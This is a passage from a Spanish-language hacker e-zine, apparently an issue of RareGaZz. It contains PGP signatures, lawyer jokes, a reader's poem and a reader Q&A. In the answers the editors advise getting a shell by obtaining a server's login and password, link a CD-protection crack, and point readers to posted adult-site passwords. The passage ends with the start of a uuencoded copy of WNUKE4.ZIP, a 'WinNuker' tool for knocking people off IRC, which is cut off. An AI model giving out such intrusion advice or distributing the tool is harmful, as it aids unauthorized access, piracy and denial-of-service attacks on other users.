42ipA2MuZ2RMrYnBm109txZJ5YpKVCbbf9ndg8Sv52//fWRPqRP7xZ56d6cM2n1t
kltztivUav/pRH0zfel9xLizu+c0deaYymKVL04HgNBn5WhUSY39bzia8HyCP4MY
niige1nWiFRpCZvc0a78VHC/33ROLuC6Nw9/xoonkrvFnYjA4JKGfi66+pJdPelT
BCYrwU/vk7Wu5k72K2qrh5qjv47NT7V8bkvuidDVHs0AfLBZhcfkXA==
=G6le
- -----END PGP MESSAGE-----

 archivo: RareGaZz #6
          http://www.geocities.com/Baja/4426/rare006.zip
          http://raregazz.islatortuga.com/rare006.zip
 firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia

iQEVAwUANGqj1K4wO2YRk8TdAQExXgf/WzHu4jkrpN2F3fYSPhUl1rTbrrM27k8P
vfsdynlqgYiENGjvQ+x2/z/oA9D3A2/94YXMVyxo9dUam5Ja9ZDdvL/bSrRjgHaE
N2p/Bc1FOgipHKA268wqvbHTw9rsZisEhs5tB4sLMHMfnh7lWE5f9228r0PUTt11
GqVejeki4UW+fEB+0BioTRoVbWVZ7CHk8OagskSAC5bG21T/JC+k+MG4TW0iD1em
mZry8m10PFdwAmpX1y07sjwW+Z9dumJN9HDDUVdwYy11LlDOMovf+p4gBz0G+uDR
e0pzCSK0eaBik0KzAAaocL0XR9HjmZhjW1lMAW3/kcuLlg39q0ZGyg==
=U13u
- -----END PGP MESSAGE-----

 archivo: RareGaZz #7
          http://www.geocities.com/Baja/4426/rare007.zip
          http://raregazz.islatortuga.com/rare007.zip
 firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia

iQEVAwUANGqj8K4wO2YRk8TdAQHUNAf/d15smmOc3fJQmniSi9gG5JX4o8eJB70t
N67kW6VSMZhDuc78JCn3x4VlhK0revBy+JJKhyTT/MTJGKUTCbjKZDv4tXrFxtZP
6cOqfT0qqcXQyllXDSJNpiw/2F3qA4qtJCyccFgQQfDqqr4WAMa3HvODvJkLaDLP
0MCvv38j7iLtfHG8MHgbc4aGp9/26NY7hHcr+wS1jPOeJj02uz3yNLBrBfHBsFZ7
vAc1wu7OzE1ZGZ/QW6RS70MK6mPUlOsw+3GSoOf2gSy0S49EzD3TdiQlPSu3dRst
Lh2HVovjFDUeicMFn9/GbM3/ke8EOEEhpHXhEi/BbWGw9wMhCg50Eg==
=ukdg
- -----END PGP MESSAGE-----

 archivo: RareGaZz #8
          http://www.geocities.com/Baja/4426/rare008.zip
          http://raregazz.islatortuga.com/rare008.zip
 firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia

iQEVAwUANGqj+q4wO2YRk8TdAQGsbwf/eS1n4Cd4hme+Mot8/U3ifqoWt3Cx6eip
vKbjNQu2QbfB5ba5Ef85t/YfVj/OuUcdg54eSPiiRiLAO9H5i+QLsQwzfa0of6Vo
vx+BV4qnVCDL1xj2iF7xc2+HDOJPjE9ag8WwdovvW+bmW72fukLM4WS9/Ncw2RqO
RiMCBgx5rQCOt4OZ2JKWjnSlVoNaglyhDfQeQL7/v3GLV3zV4Yqvfmfu2inBbiji
LqHVqVCJBgb7MsYcl7mvic45FZjVW+hxgQzVNq14iRt7t8njEbDmQ/FX16YTiPOS
zEHmb2Qa3uZ32cRBWV1hGgcX1hojPdrLNnY0e1fUJPGFevOFyHiclA==
=KbDZ
- -----END PGP MESSAGE-----


-----BEGiN PGP SiGNATURE-----
Version: 2.6.3ia
Charset: ascii

iQEVAwUBNGwLJ64wO2YRk8TdAQFBagf/UxD6/Gi7kGWwW8Yn0UA1nz/OLkmp327h
G3GnLDM9xfzzVsnjfjLO81S7X3fTnErXuMEJQ1jJqj2at63U2J7/ixSV7tOBFqBZ
zdYB32ctVVrF9arHd2i3MXfiqV+07vEkWe2vw6WUuBOfUz/3Wv4hdsJC8OmYLJNi
flPUx8bHusDMjFqyKl/ARmwnqv/xkzXLqQvPoyfS3iMixzABCPTuG+kdifJfgMvD
bAku1yYan8oX/6hipSiNU6YbY2hGPtSP9EMUpPj6+PxbpnO30X3FypJ/pr91FQok
qUVQeQTdOVGTXme3U/tJOWexGi+dz4pMEyb/xMvjKlpbMdLtmZqgOg==
=Mnqc
-----END PGP SiGNATURE-----

 Esto sirve si tienes una copia del programa PGP y nuestra llave PGP
 (http://www.geocities.com/Baja/4426/llave.txt) para que verifiques si
 tienes los archivos originales.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

 Pregunta: Como llamas a 5000 Abogados muertos en el fondo del oceano?
Respuesta: Un buen principio!

 Pregunta: Como puedes saber si un Abogado miente?
Respuesta: Si se mueven sus labios.

 Pregunta: Cual es la diferencia entre un perro muerto en la calle a un
           abogado muerto en la calle?
Respuesta: Hay pruebas de que intentaron frenar delante del perro.

 Pregunta: Por que los tiburones no atacan Abogados?
Respuesta: Cortesia Profesional.

 Pregunta: Que NO se tiene cuando un Abogado esta enterrado hasta el cuello?
Respuesta: Suficiente tierra.

 Pregunta: Como alejas a un Abogado de un arbol?
Respuesta: Cortas la cuerda.

 Pregunta: Sabes como salvar a un Abogado asfixiandose?
Respuesta: Quitar tus manos de su cuello.

 Pregunta: Cual es la diferencia entre un Abogado y una cubeta de mierda?
Respuesta: La cubeta.

 Pregunta: Donde puedes encontrar un buen Abogado?
Respuesta: En el cementerio.

 Pregunta: Cual es la diferencia entre un Abogado y un gigolo?
Respuesta: Un gigolo se jode a una persona a la vez.

 Pregunta: Si vez a un Abogado en una bicicleta, por que no lo atropellas?
Respuesta: Por que puede ser tu bicicleta.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

                               un dia sin smog
                               ~~~~~~~~~~~~~~~
 se acerca diciembre y con este mes las fiestas rutinarias de la mayoria
 de las culturas. festejan? el nacimiento de cristo...eso creo. o la
 llegada de un ao nuevo? como saberlo. de nuevo diciembre pero este mes
 no es como el del ao anterior - o el otro. este es diferente. muchas
 cosas que antes tomaba como mias han dejado de serlo. en cambio, cosas
 que jamas pense que fueran a formar parte de mi vida pasaran a serlo. No.
 no hablo de navidad o ao nuevo. sino del regreso de la luz a mi vida. o
 la eterna oscuridad. todo depende.
 veras, ganas de vivir tengo pocas. amistades y relaciones demasiadas. por
 favor no piensen que soy un gruon. solo trato de vivir feliz...y eso bien
 podria ser en diciembre. o despues de ese mes. cuando la primavera regrese.
 El invierno pasara para mi en diciembre o permanecera para siempre. empero
 aun es noviembre y me muero de ganas por saber que pasara en diciembre.
 Chin! pensaba invitarla a la playa en mi casita de acampar a ver las olas,
 quizas hasta logre convencerla de fumarse un gallo/porro conmigo. pero ahora
 recuerdo que en diciembre hace frio. ni modo. adios primavera en la playa.
 seguramente me quedare en el eterno invierno. solo. o felizmente acompaado.

 [ gracias por enviar estas participaciones. ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Me agrado, el contenido de la revista... me gustaria hacer varios
comentarios y preguntas

- Es dificil ser Hacker?
 [ no podria decirlo exactamente. ]

- No han tenido problemas con la ley?
 [ algunos... :-) ]

- Cuanto tiempo le dedican diariamente a estar en la red?
 [ no mucho. ]

- Como han logrado hacer creer a la gente que sus programas no son dainos.
 [ creyendo nosotros mismos que no lo son. Recuerda, son "educativos." ]

En lo personal me gusta todo este tipo de informacion y cuando logro
decubrir algun tip en algun paquete me lo guardo.

NO CREEN QUE TANTO TIEMPO QUE HAN DEDICADO A REALIZAR SUS OBJETIVOS,
PARA QUE OTRO CABRON LLEGUE Y LOS UTILIZE O SE CREA HACKER...NO LES
MOLESTA?

[ En lo absoluto, la informacion debe ser libre y la forma en que esta sea
  manejada o con que finalidad es responsabilidad del receptor de esta info.]
  
Me gustaria seguir preguntando pero, estoy seguro que me mentarian la
madre con justa razon, pero ya por ultimo.....Yo baje todos los archivos
que ponen a disposicion, y hasta ejecute uno que se llama RAREGAZZ.EXE
este me mando un grafico tipo virus... le afecta en algo a mi PC?

 [ El archivo raregazz.exe no hace ningun dao...Hey! es BASIC. ;) ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Quisiera saber como Crackear programas que piden el
CD y siempre lo buscan. Como los juegos MDK y
Screamer2.


 [ Consigue el FAKECD.ZIP que sirve para eso. Puedes bajarlo aqui:
  http://members.tripod.com/~DaAngel/fakecd.zip
  http://hem.passagen.se/jeda/zip/fakecd.zip                        ]


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

mi pregunta es...es verdaderamente necesaria una cuenta shell para el hack?
....y si lo es...como puedo conseguirla?

 [ Si. si es necesaria la cuenta shell para realizar los comandos como
   rlogin y para la compilacion de codigo, etc. Para conseguirla consigue
   el login/password de un servidor y usa una terminal telnet para entrar.
   Una vez dentro del servidor estaras en una cuenta shell si recibes el
   prompt de unix (# o $). ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

 necesito saber si hay algun programa con el que pueda reiniciar la bajada de
 software osea bajarlo en partes.

 [ Asi es programas como estos pueden ser: Get it right (getrt210.exe) y
 GoZilla Downloads (gozil211.exe). La ventaja de get it right es que `jalando'
 un link desde netscape hasta la ventana del get it right puedes empezar
 a bajarlo y si quieres interrumpir el download lo haces y continuas luego. ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

 Estaria bien ver en la revista algunos passwords a sitios XXX.

 [ En la pagina http://raregazz.islatortuga.com seccion links puedes encontrar
   de vez en vez lugares donde publican ese tipo de informacion. ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

Otra cosa es que tengo una duda haber si me pueden echar la mano, quisiera que
me dijeran si existe una manera de Hackear las tarjetas de Amigo de TELCEL ya
que la verdad se gasta una lanota en esa pinches tarjetas.

 [ alguien podria ayudar? ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

 Que paso con el nuevos numero llevo un mes esperando y ni madres ya saquen
 el nuevo numero no?

 [ El nuevo numero sale cuando se termina. No lo escondemos ni nada asi. ]

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\

 Encantado de haber podido recibir y contestar su correo. Hasta pronto y
 envien sus preguntas a raregazz con confianza pero permitan de 3 a 4 dias
 para recibir respuesta pues a veces estamos algo ocupadines >;-)
 En ocasiones no podremos ayudarlos pero siempre esperamos que algun lector
 sepa sobre sus dudas y nos envie respuesta. raretrip.


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

seccion: UUENCODE
         ~~~~~~~~
 En esta seccion incluimos los archivos WNUKE4.ZIP, class.zip y SLOWDOS.EXE
 el zip contiene las classes para los applets java.

{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]
[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}

 -WinNuker para Nukear en IRC. (Ver texto sobre IRC)

begin 644 wnuke4.zip
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
